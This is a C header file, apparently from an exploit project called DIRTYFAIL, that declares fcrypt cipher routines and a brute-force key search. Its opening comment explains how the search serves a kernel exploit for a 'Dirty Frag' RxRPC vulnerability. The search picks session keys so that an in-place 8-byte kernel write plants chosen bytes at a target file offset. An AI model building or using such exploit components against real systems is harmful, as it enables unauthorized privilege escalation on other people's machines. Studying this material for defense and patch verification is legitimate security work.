69 lines
2.7 KiB
C
69 lines
2.7 KiB
C
/*
|
|
* DIRTYFAIL — fcrypt.h
|
|
*
|
|
* fcrypt is the Andrew File System (AFS) rxkad cipher: 56-bit key,
|
|
* 8-byte block, 16-round Feistel structure with four 256-entry S-boxes.
|
|
* It is *deterministic*, with a public algorithm specification — its
|
|
* key space (2^56) is small enough that targeted decryption can be
|
|
* brute-forced in user space at ~15-20 M ops / second on a single core.
|
|
*
|
|
* That property is what makes the RxRPC variant of Dirty Frag
|
|
* (CVE-2026-43500) practical: the in-place 8-byte STORE is
|
|
* fcrypt_decrypt(C, K), where C is the ciphertext at the target file
|
|
* offset and K is the session key the attacker registers via
|
|
* add_key("rxrpc", ...). For each STORE position we want, we run the
|
|
* fcrypt brute force locally until we find a K such that the resulting
|
|
* 8-byte plaintext matches our predicate (e.g. starts with "::").
|
|
*
|
|
* License: see NOTICE.md. The S-box constants are the rxkad protocol
|
|
* tables (also present in the Linux kernel's crypto/fcrypt.c, GPL-2.0,
|
|
* David Howells / KTH).
|
|
*/
|
|
|
|
#ifndef DIRTYFAIL_FCRYPT_H
|
|
#define DIRTYFAIL_FCRYPT_H
|
|
|
|
#include "common.h"
|
|
|
|
typedef struct {
|
|
uint32_t round_key[16]; /* big-endian, derived in fcrypt_setkey */
|
|
} fcrypt_ctx;
|
|
|
|
/* Initialize the global S-box tables. Call once before any other fcrypt_*. */
|
|
void fcrypt_init(void);
|
|
|
|
/* Run the kernel test vectors and return true if they match. Use this
|
|
* during exploit setup to fail fast on a broken build. */
|
|
bool fcrypt_selftest(void);
|
|
|
|
/* Derive the 16 round keys from an 8-byte key (only the high 7 bits of
|
|
* each byte are used; bit 0 of each byte is parity in the rxkad token
|
|
* format). */
|
|
void fcrypt_setkey(fcrypt_ctx *ctx, const uint8_t key[8]);
|
|
|
|
/* Decrypt a single 8-byte block. */
|
|
void fcrypt_decrypt(const fcrypt_ctx *ctx,
|
|
uint8_t out[8], const uint8_t in[8]);
|
|
|
|
/* Brute-force search predicate: given an 8-byte candidate plaintext,
|
|
* return true if it satisfies the constraints we want at this STORE
|
|
* position. */
|
|
typedef bool (*fcrypt_pred_fn)(const uint8_t plaintext[8]);
|
|
|
|
/* Search for an 8-byte key K such that fcrypt_decrypt(C, K) satisfies
|
|
* `predicate`. Returns true and fills K and the resulting plaintext on
|
|
* hit; returns false after `max_iters` non-hits.
|
|
*
|
|
* `seed` selects the search starting point (deterministic via splitmix64);
|
|
* pass time(NULL) for randomness across runs, or a fixed value for
|
|
* reproducibility. `label` is logged on hit/timeout for clarity. */
|
|
bool fcrypt_brute_force(const uint8_t ciphertext[8],
|
|
fcrypt_pred_fn predicate,
|
|
uint64_t max_iters,
|
|
uint64_t seed,
|
|
const char *label,
|
|
uint8_t key_out[8],
|
|
uint8_t plaintext_out[8]);
|
|
|
|
#endif
|